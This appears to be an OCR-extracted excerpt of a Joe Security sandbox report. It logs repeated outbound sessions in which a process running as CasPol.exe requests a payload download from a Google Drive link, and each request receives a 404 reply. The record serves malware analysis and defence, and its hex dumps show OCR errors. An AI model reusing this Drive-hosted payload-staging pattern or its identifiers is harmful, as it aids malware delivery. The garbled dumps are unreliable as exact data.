eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:24 GMT

Expires: Wed, 24 Nov 2021 10:55:24 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:24 UTC 166

2021-11-24 10:55:24 UTC 166

2021-11-24 10:55:24 UTC 167

2021-11-24 10:55:24 UTC 167

Session ID Source IP

112 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:24 UTC 167

2021-11-24 10:55:24 UTC 168

2021-11-24 10:55:24 UTC 169

2021-11-24 10:55:24 UTC 169

Session ID Source IP
113 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49936

Direction

ouT

Source Port

49937

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-JVsxcaTW2pGj3UcjVoMnXA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:55:24 GMT

Expires: Wed, 24 Nov 2021 10:55:24 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-1yChS7fUPjYKTXGmXRnLKA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Date: Wed, 24 Nov 2021 10:55:24 GMT

Expires: Wed, 24 Nov 2021 10:55:24 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:24 UTC 169

2021-11-24 10:55:25 UTC 169

2021-11-24 10:55:25 UTC 170

2021-11-24 10:55:25 UTC 170

Session ID Source IP

114 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:25 UTC 170

2021-11-24 10:55:25 UTC 171

2021-11-24 10:55:25 UTC 172

2021-11-24 10:55:25 UTC 172

Session ID Source IP
115 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49938

Direction

ouT

Source Port

49940

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Content-Security-Policy: script-src 'nonce-C5y50vQgStNgZe6xil5SAA' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Date: Wed, 24 Nov 2021 10:55:25 GMT

Expires: Wed, 24 Nov 2021 10:55:25 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src ‘nonce-U1GHCpU6TivezW/4f99KIQ' ‘'unsafe-inline’ 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:25 GMT

Expires: Wed, 24 Nov 2021 10:55:25 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:25 UTC 172

2021-11-24 10:55:25 UTC 172

2021-11-24 10:55:25 UTC 173

2021-11-24 10:55:25 UTC 173

Session ID Source IP

116 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:25 UTC 173

2021-11-24 10:55:26 UTC 174

2021-11-24 10:55:26 UTC 175

2021-11-24 10:55:26 UTC 175

Session ID Source IP
117 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49941

Direction

ouTt

Source Port

49942

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_I9o0caqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-EUyUMI8HjYdIHovbH8H]5g' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:25 GMT

Expires: Wed, 24 Nov 2021 10:55:25 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Content-Security-Policy: script-src ‘nonce-0S8VEQ/RKVfYrv+b53WLmw' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:26 GMT

Expires: Wed, 24 Nov 2021 10:55:26 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:26 UTC 175

2021-11-24 10:55:26 UTC 175

2021-11-24 10:55:26 UTC 176

2021-11-24 10:55:26 UTC 176

Session ID Source IP

118 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:26 UTC 176

2021-11-24 10:55:26 UTC 177

2021-11-24 10:55:26 UTC 178

2021-11-24 10:55:26 UTC 178

Session ID Source IP
119 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49943

Direction

ouT

Source Port

49944

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-1Znatj+Tqe31MF+Xp67trg' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Date: Wed, 24 Nov 2021 10:55:26 GMT

Expires: Wed, 24 Nov 2021 10:55:26 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4Ac 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_qgsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-Odb4juw6pX3+ehCec62alQ" ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:26 GMT

Expires: Wed, 24 Nov 2021 10:55:26 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:26 UTC 178

2021-11-24 10:55:27 UTC 178

2021-11-24 10:55:27 UTC 179

2021-11-24 10:55:27 UTC 179

Session ID Source IP

12 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:54:43 UTC 18

2021-11-24 10:54:43 UTC 18

2021-11-24 10:54:43 UTC 19

2021-11-24 10:54:43 UTC 19

Session ID Source IP
120 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49834

Direction

ouT

Source Port

49945

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaqg"

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-p6JwCGqoEhOHHO9ugh/jeA' 'unsafe-inline’ 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Date: Wed, 24 Nov 2021 10:55:27 GMT

Expires: Wed, 24 Nov 2021 10:55:27 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

